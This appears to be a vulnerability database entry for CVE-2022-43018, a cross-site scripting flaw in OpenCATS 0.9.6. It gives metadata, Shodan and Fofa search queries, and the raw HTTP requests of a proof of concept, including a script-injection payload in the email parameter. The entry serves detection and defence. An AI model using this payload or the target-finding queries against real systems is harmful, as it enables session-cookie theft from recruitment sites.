🔙 목록으로 돌아가기

CVE-2022-43018: OpenCATS 0.9.6 - Cross-Site Scripting

TitleOpenCATS 0.9.6 - Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript through the email parameter in the Check Email function to steal OpenCATS user session cookies and recruitment data.
RemediationUpgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor.
CVSS Score6.1
EPSS Score0.09911
CVE IDCVE-2022-43018
CWE IDCWE-79
Shodan Querytitle:"OpenCATS"http.title:"opencats"
Fofa Querytitle="opencats"
Tags cve cve2022 xss opencats authenticated vuln

🔍 Vulnerability Description

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=j22enf&password=23ClIR
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43018.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-43018.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A